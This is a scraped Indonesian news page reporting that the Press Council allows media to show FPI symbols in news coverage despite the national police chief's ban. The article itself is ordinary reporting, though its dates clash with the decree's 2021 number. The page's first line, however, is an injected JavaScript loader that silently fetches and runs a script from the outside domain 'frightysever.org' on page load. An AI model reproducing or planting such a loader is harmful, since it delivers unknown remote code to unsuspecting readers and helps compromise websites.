(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Dilarang Kapolri, Dewan Pers Bolehkan Media Gunakan Simbol FPI untuk Berita


KANALKALIMANTAN.COM, JAKARTA – Jenderal Pol Idham Aziz menerbitkan Maklumat Kepala Kepolisian di mana salah satu poin di dalamnya ada pelarangan penggunaan simbol dan atribut Front Pembela Islam (FPI).

Menanggapi hal tersebut, Ketua Penelitian Pendataan Ratifikasi Pers Dewan Pers Ahmad Djauhar mengatakan bahwa media tetap bisa menggunakan simbol FPI untuk kepentingan pemberitaan.

Ahmad menjelaskan bahwa Maklumat Kapolri tersebut kedudukannya tidak lebih tinggi daripada Undang-undang. Dengan begitu, apabila media hendak memberitakan soal FPI berikut dengan simbolnya pun diperbolehkan.

“Sepanjang memenuhi prinsip jurnalistik dan tetap sesuai kode etik jurnalistik (KEJ), ya silakan tetap melakukannya,” jelas Ahmad saat dihubungi Suara.com, Sabtu (2/1/2020).

Apalagi hal tersebut didukung dengan faktanya kuat dan informasinya pun telah terverifikasi. Maka media tersebut sudah menayangkan pemberitaan yang sesuai dengan UU Nomor 40 Tahun 1999 tentang Pers.

“Kan publik berhak tahu tentang segala sesuatu, dan hal ini dijamin konstitusi.”

Sebelumnya, Jenderal Idham Azis menerbitkan Maklumat Kepala Kepolisian Indonesia Nomor: Mak/1/I/2021 Tentang Kepatuhan Terhadap Larangan Kegiatan, Penggunaan Simbol dan Atribut serta Penghentian Kegiatan Front Pembela Islam (FPI) tertanggal 1 Januari 2020.

Dalam salah satu poin maklumat tersebut disebutkan bahwa masyarakat diminta tidak mengakses, mengunggah, dan menyebarluaskan konten terkait FPI baik melalui website maupun media sosial.

Jika ditemukan perbuatan yang bertentangan dengan maklumat ini, maka setiap anggota Polri wajib melakukan tindakan yang diperlukan sesuai dengan ketentuan peraturan perundang-undangan, ataupun diskresi Kepolisian.(Suara)

Editor : Suara 


Al Ghifari

Recent Posts

BRI-Pos Indonesia Luncurkan Fitur “Kirim Barang” melalui PosAja! di BRImo

KANALKALIMANTAN.COM, JAKARTA – PT Bank Rakyat Indonesia (Persero) Tbk memperkuat komitmen dalam menyediakan layanan yang… Read More

2 jam ago

Telur Ras Turun Naik di Pasar Bauntung Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Telur yang acap kali masuk dalam daftar sembilan bahan pokok (Sembako) belakangan… Read More

5 jam ago

Habaib dan Ulama Banjarbaru Sepakat Menangkan Aditya-Said Abdullah

KANALKALIMANTAN.COM, BANJARBARU - Momentum masyarakat Banjarbaru merayakan pesta demokrasi terjadi di kampanye terbuka pasangan Wali… Read More

8 jam ago

Bawaslu Batola Dorong Partisipasi Masyarakat Awasi Pelanggaran Pilkada

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilu (Bawaslu) Kabupaten Barito Kuala menggelar rapat koordinasi dalam rangka… Read More

9 jam ago

Harga Cabai Turun di Pasar Bauntung Banjarbaru, Bawang Merah Naik

KANALKALIMANTAN.COM, BANJARBARU - Harga sejumlah bahan pangan dan kebutuhan pokok masyarakat merembet naik menjelang akhir… Read More

10 jam ago

Penyelewengan BBM Subsidi di Banjarmasin, Polisi Sita 2.035 Liter Pertalite

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Polisi Air dan Udara (Satpolairud) Polres Banjarmasin mengungkap kasus bisnis ilegal… Read More

23 jam ago

This website uses cookies.